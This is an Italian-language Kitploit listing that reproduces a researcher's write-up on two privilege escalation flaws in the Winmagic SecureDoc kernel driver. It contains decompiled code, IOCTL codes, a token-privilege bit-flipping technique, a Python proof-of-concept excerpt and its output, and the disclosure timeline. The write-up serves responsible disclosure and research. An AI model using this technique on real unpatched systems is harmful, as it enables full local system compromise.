Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
winmagic_sd — Documentazione tecnica e PoC Exploit per CVE-2020-11519 e CVE-2020-11520 | Kitploit
Strumenti/GitHubGitHub/patois/winmagic_sd
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitReverse EngineeringPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubpatois/winmagic_sd

winmagic_sd

Documentazione tecnica e PoC Exploit per CVE-2020-11519 e CVE-2020-11520

Vedi Repository
1233 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

Technical Write-up on CVE-2020-11519 and CVE-2020-11520

Data: Giugno 2020

Autore: Dennis Elser (codice: github)

Indice dei contenuti

  • Introduzione
  • Approccio e Descrizione Tecnica
    • CVE-2020-11519
    • CVE-2020-11520
  • Exploit Proof-of-Concept
  • Cronologia della divulgazione
  • Soluzione
  • Checksum
  • Riferimenti

Introduzione

In riferimento alla sua rappresentazione web, Winmagic SecureDoc "consente alle aziende di gestire la sicurezza del proprio ambiente IT in modo efficiente sfruttando funzionalità tra cui: Full Disk Encryption (FDE), Multi-Factor Authentication, Removable Media Container Encryption (RMCE) e File and Folder Encryption (FFE). Queste funzionalità aiutano le aziende ad aumentare la sicurezza, mitigare il rischio aziendale e soddisfare i requisiti normativi e governativi per la crittografia del disco rigido."

Il prodotto Winmagic SecureDoc, disponibile nelle edizioni standalone e enterprise, è affetto da due vulnerabilità di escalazione dei privilegi locali (CVE-2020-11519 e CVE-2020-11520) nelle versioni 8.3 e 8.5. Dopo che le vulnerabilità sono state segnalate a Winmagic alla fine di marzo, il vendor ha rilasciato una patch (versione 8.5SR2) a metà giugno 2020. Tuttavia, si è scoperto che questa patch risolveva le vulnerabilità in modo insufficiente, rendendo quindi anche la versione 8.5SR2 vulnerabile ai difetti segnalati. Sebbene i dettagli tecnici sulle vulnerabilità siano stati tenuti nascosti per questo motivo, i difetti devono essere considerati pubblici da allora. Secondo il vendor, un'altra patch era ancora in lavorazione, circa 106 giorni dopo il rapporto iniziale di vulnerabilità a Winmagic. Il 15 luglio, 111 giorni dopo il rapporto iniziale di vulnerabilità al vendor, Winmagic ha rilasciato SecureDoc v8.5 SR2 HF1 ai clienti, che apparentemente corregge CVE-2020-11519 e CVE-2020-11520. Le versioni di SecureDoc precedenti alla 8.3 non sono state testate, ma si presume siano anch'esse affette, in base al codice del componente interessato.

Lo sfruttamento riuscito di una qualsiasi delle vulnerabilità porterà all'escalation dei privilegi a SYSTEM per gli autenticati localmente.

Approccio e Descrizione Tecnica

Entrambe le vulnerabilità interessano il componente "SDDisk2k.sys", un driver kernel fornito con il prodotto Winmagic SecureDoc. I difetti di sicurezza sono stati identificati utilizzando analisi statica manuale con l'aiuto del disassemblatore e decompilatore Hex-Rays IDA Pro. Retrospettivamente, le debolezze avrebbero potuto essere scoperte con molto meno sforzo se fossero stati applicati invece approcci di test dinamici come il fuzzing. Questo perché il driver può essere interfacciato da applicazioni utente con privilegi limitati e perché assume di default che il loro input sia ben formato.

CVE-2020-11519

A causa della creazione non sicura di un oggetto dispositivo "SecureDocDevice" da parte del driver "SDDisk2k.sys" e della mancanza di codice che impostasse un descrittore di sicurezza appropriato, anche account utente limitati hanno la possibilità di acquisire un handle al dispositivo tramite la funzione API CreateFile(). Concedendo a un'applicazione in modalità utente un handle al proprio oggetto dispositivo, il driver apre così un percorso diretto alla sua superficie di attacco nel kernel.``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }

root@kitploit:~
Avendo effettuato il reverse engineering di alcuni gestori di servizi [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) del driver "SDDisk2k.sys", è stato scoperto che uno di essi espone funzionalità critiche in modalità utente, permettendo operazioni di lettura e scrittura di settori raw arbitrari di un disco - per progettazione. Inoltre, interfacciandosi con questo stesso codice, si è notato che il driver ignora eventuali blocchi esclusivi che potrebbero essere stati impostati in precedenza su un disco. Di conseguenza, sono possibili operazioni di lettura/scrittura concorrenti, che facilitano race condition e rischi di perdita di dati.

Quello che segue mostra il gestore di servizi IOCTL decompilato del driver responsabile della gestione delle richieste di lettura dei settori raw del disco. Esso chiama una funzione sub_29CD4() con un argomento "controlled_buf", che è un puntatore a un buffer il cui contenuto può essere scelto arbitrariamente da qualsiasi applicazione in modalità utente chiamante:``` c
if ( ioctlcode == 0x8D1F2824 )   // <--- I/O control code for raw disk reading functionality
{
  controlled_buf = (unsigned __int8 *)controlled_addr;
  mode = 0;
  temp_result = sub_29CD4((char *)controlled_buf, v3, mode);   // <--- call to raw disk read function

In realtà, questo buffer controllato dall'attaccante è una struttura i cui campi "offset", "length" e "ptr_buf" sono argomenti di funzione completamente non verificati passati a una chiamata a IoBuildSynchronousFsdRequest(). Quest'ultima funzione prepara un IRP_MJ_READ pacchetto di richiesta I/O (IRP) che invia al driver del file system sottostante usando una chiamata a IofCallDriver():``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode

// advance pointer p = controlled_buf + 1;

// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);

root@kitploit:~
// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
  || (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
  // extract further fields from structure
  offset = *(_QWORD *)(p + 0x4E);                    // <--- where to start reading from
  length = *(_DWORD *)(p + 0x56);                    // <--- number of bytes to read
  ptr_buf = *(void **)(p + 0x5A);                    // <--- ptr to destination buffer
  devobj = DeviceObject;
  StartingOffset.QuadPart = offset << 9;
  KeInitializeEvent(&Event, NotificationEvent, 0);
  
  // build request
  v17 = IoBuildSynchronousFsdRequest(
          (unsigned int)(mode != 0) + IRP_MJ_READ,   // <--- issue read request
          devobj,
          ptr_buf,
          length << 9,
          &StartingOffset,
          &Event,
          &IoStatusBlock);
  v18 = v17;
  if ( v17 )
  {
    v19 = v17->Tail.Overlay.CurrentStackLocation;
    if ( mode )
      v19[0xFFFFFFFF].Flags |= 0x10u;
    ObfReferenceObject(devobj);

    // send request to respective device object (issue read request)
    v12 = IofCallDriver(devobj, v18);

//[...snip...] }

root@kitploit:~
Proprio come la lettura di settori raw del disco, la scrittura di settori del disco dalla modalità utente è resa possibile chiamando il gestore IOCTL 0x8D1F2820, che elabora la stessa struttura dati ed è implementato in modo simile. Data la compatibilità con il protocollo di questo driver, nulla impedirà ad applicazioni arbitrarie in modalità utente di compromettere completamente il Sistema Operativo. A meno che non sia protetto da un meccanismo di avvio sicuro, questo include persino l'installazione di software autorizzato a essere eseguito già durante il processo di avvio del sistema (ransomware, bootkit, implant personalizzati...).

### CVE-2020-11520
Un ulteriore esame dei gestori di servizio del driver "SDDisk2k.sys" ha rivelato che gli indirizzi di memoria provenienti da applicazioni in modalità utente vengono elaborati senza previa convalida. In alcuni casi, la memoria a cui questi puntatori accedono viene scritta ciecamente dal driver, cosa che può essere sfruttata dagli aggressori per creare primitive di scrittura nel kernel. Mentre tutte le primitive di scrittura consentono il controllo diretto di **dove** scrivere i dati, purtroppo non è stata trovata alcuna che permettesse il controllo diretto di **quali** dati scrivere. Con l'eccezione di [CVE-2020-11519](#cve-2020-11519), il cui sfruttamento in questo contesto richiederebbe un ulteriore passaggio attraverso operazioni di lettura/scrittura del disco, cosa che considero un approccio sporco e che quindi volevo evitare. Tuttavia, è stato identificato un gestore particolare che, ammetto, non permetteva di controllare i dati stessi, ma si è comunque rivelato abbastanza buono per essere riutilizzato con altri mezzi.

Il codice decompilato sottostante mostra il gestore di servizio del driver per il codice IOCTL 0x8d1f282c. Prende un numero intero a 16 bit "count" da un buffer controllato dall'utente, quindi assicura che non superi un certo limite. Infine, un puntatore "dst" viene acquisito dallo stesso buffer di input controllato, ma non viene mai verificato per la validità prima di essere passato come argomento a una successiva chiamata a memmove(). Con mia iniziale delusione, il buffer "src" passato come argomento a memmove() non è controllato, ma punta invece a una stringa hardcoded ("FRNSecureDoc v4.1\0"), il che limita la sua utilità per lo sfruttamento fino a un certo punto. Ovviamente, questo gestore di servizio scrive un identificatore di versione in un indirizzo specificabile dall'utente, che potrebbe altrettanto essere abusato per il fingerprinting di versioni vulnerabili di Winmagic SecurDoc.``` c
// handler for I/O control code 0x8d1f282c

// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);

// if count is zero, return error
if ( !count )
{
  *((_WORD *)controlled_buf + 5) = 0x13;
  goto leave_dispatcher;
}

// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
  count = 0x11;

// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4;   // <--- 'FRNSecureDoc v4.1',0

// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;

Tuttavia, avere questo indirizzo "dst" completamente controllato che punta a una posizione adatta nello spazio del kernel riutilizza questo gestore IOCTL e lo trasforma in una primitiva di scrittura nel kernel. Con riferimento a [1] e [2], chiamare questo gestore di servizio con "dst" che punta all'indirizzo nel kernel del token di un processo, o più precisamente, al suo membro "Privileges" all'offset 0x40, potrebbe portare a privilegi elevati :)``` 0: kd> dt nt!_token ffffe40955f766b0 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES [...snip...]

0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000

root@kitploit:~
La struttura SEP_TOKEN_PRIVILEGES è un insieme di bitmask con singoli bit che rappresentano ciascuno un flag di privilegio. Come conseguenza logica, chiedere gentilmente al driver SecureDoc di memorizzare parti della sua stringa di versione "FRNSecureDoc v4.1\0" nella struttura SEP_TOKEN_PRIVILEGES di un token di processo dovrebbe capovolgere alcuni bit e, si spera, abilitare privilegi utili, almeno ipoteticamente. Come si scopre, facendo memorizzare al driver i primi due caratteri della sua stringa di versione negli offset 1 e 2 del campo "Present" della struttura SEP_TOKEN_PRIVILEGE, vengono impostati diversi privilegi interessanti del token. Il carattere '**F**' preso da "**F**RNSecureDoc v4.1\0" equivale a 01000110 e quindi imposta il bit 9 (SeTakeOwnershipPrivilege), il bit 10 (SeLoadDriverPrivilege) e il bit 14 (SeIncreaseBasePriorityPrivilege) del campo "Present". Il carattere '**R**' equivale a 01010010, impostando il bit 17 (SeBackupPrivilege), il bit 20 (SeDebugPrivilege) e il bit 22 (SeSystemEnvironmentPrivilege):

| Bit No ("Present") | Carattere | Byte         | Privilegio |
| :--------------: | :-------: | ------------ | --------- |
| 8                | 'F'       | 0100011**0** | SeSecurityPrivilege |
| 9                | 'F'       | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10               | 'F'       | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11               | 'F'       | 0100**0**110 | SeSystemProfilePrivilege |
| 12               | 'F'       | 010**0**0110 | SeSystemtimePrivilege |
| 13               | 'F'       | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14               | 'F'       | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15               | 'F'       | **0**1000110 | SeCreatePagefilePrivilege |
| 16               | 'R'       | 0101001**0** | SeCreatePermanentPrivilege |
| 17               | 'R'       | 010100**1**0 | **SeBackupPrivilege** |
| 18               | 'R'       | 01010**0**10 | SeRestorePrivilege |
| 19               | 'R'       | 0101**0**010 | SeShutdownPrivilege |
| 20               | 'R'       | 010**1**0010 | **SeDebugPrivilege** |
| 21               | 'R'       | 01**0**10010 | SeAuditPrivilege |
| 22               | 'R'       | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23               | 'R'       | **0**1010010 | SeChangeNotifyPrivilege |

## Exploit Proof-of-Concept
Un [exploit proof-of-concept](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) è stato sviluppato in Python e debugato con l'aiuto del [debugger kernel WinDbg di Microsoft](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk) collegato a una VM Windows 10 x64.

Questo exploit PoC acquisisce l'indirizzo kernel del token di sicurezza del processo corrente e, tra gli altri, abilita il privilegio SeDebugPrivilege sfruttando le vulnerabilità descritte. Prosegue quindi generando una shell dei comandi che eredita i privilegi appena elevati del token.

Avere il flag SeDebugPrivilege impostato renderà possibile iniettare shellcode ed eseguirlo nel contesto di un processo SYSTEM - lascio comunque questa parte a te ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
    print("[!] Could not get address of token")
    sdi.close()
    return

print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()

os.system("cmd.exe")

Per evitare di mettere a rischio i dati di chiunque, la versione pubblica di questo exploit PoC non include alcun codice attivo per la lettura/scrittura di settori disco grezzi tramite CVE-2020-11519. Tuttavia, può essere facilmente trasformato in un installatore per qualsiasi codice si voglia far eseguire al proprio settore di avvio, se vengono aggiunte le chiamate alle funzioni disk_read_raw() e disk_write_raw(). Che ne dici di installare e giocare una partita a tetros come alternativa all'installazione di impianti? ;)

Quanto segue mostra rispettivamente i privilegi del token del processo corrente prima e dopo l'esecuzione dell'exploit Proof-of-Concept.``` C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

C:\Users\re>python3 sd_poc.py

EoP PoC for WinMagic SecureDoc 8.5

[+] Got a handle to driver [+] Got token object: ffffd68dd45d9990 [+] Patching token Microsoft Windows [Version 10.0.17134.1304] (c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

root@kitploit:~
Il codice exploit PoC si trova [qui](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py). Ha come target la versione v8.5 di Winmagic SecureDoc x64 ma potrebbe funzionare su versioni precedenti (non testato).

Nel caso tu sia arrivato fin qui ma sei ancora molto annoiato, sentiti libero di invocare il codice IOCTL 0x8D1F2848 ;)``` c
case 0x8D1F2848:
  DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
  if ( *(_WORD *)controlled_buf == 0x55AA
    && *(_QWORD *)(controlled_buf + 2)
    && *((_WORD *)controlled_buf + 5) == 4 )
  {
    StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
    if ( !StartContext )
    {
      KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
      KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
    }
    DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
    *StartContext = **(_DWORD **)(controlled_buf + 2);
    if ( PsCreateSystemThread(
            &ThreadHandle,
            0x1FFFFFu,
            0i64,
            0i64,
            0i64,
            (PKSTART_ROUTINE)sub_23948,
            StartContext) < 0 )
      ExFreePoolWithTag(StartContext, 0);
    else
      ZwClose(ThreadHandle);
  }

Cronologia della divulgazione```

Date | Comment

2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)

root@kitploit:~
## Soluzione
Aggiornare a Winmagic SecureDoc v8.5 SR2 HF1.

## Checksum
| Nome file             | Versione | Hash (SHA-256) |
| -------------------- | ------- | -------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |

## Riferimenti
1. [Abusare dei privilegi dei token per LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Sfruttare CVE-2014-4113 su Windows 8.1](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [Sfruttamento facile del kernel Windows locale](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [Ho 99 problemi ma un puntatore al kernel non è uno di questi](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [Sfruttare handle di processo e thread trapelati](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [Discussione su Sourceforge sulla chiamata a NtQuerySystemInformation usando ctypes](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [Note di rilascio di SecureDoc v8.5SR2](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)
Scarica lo strumento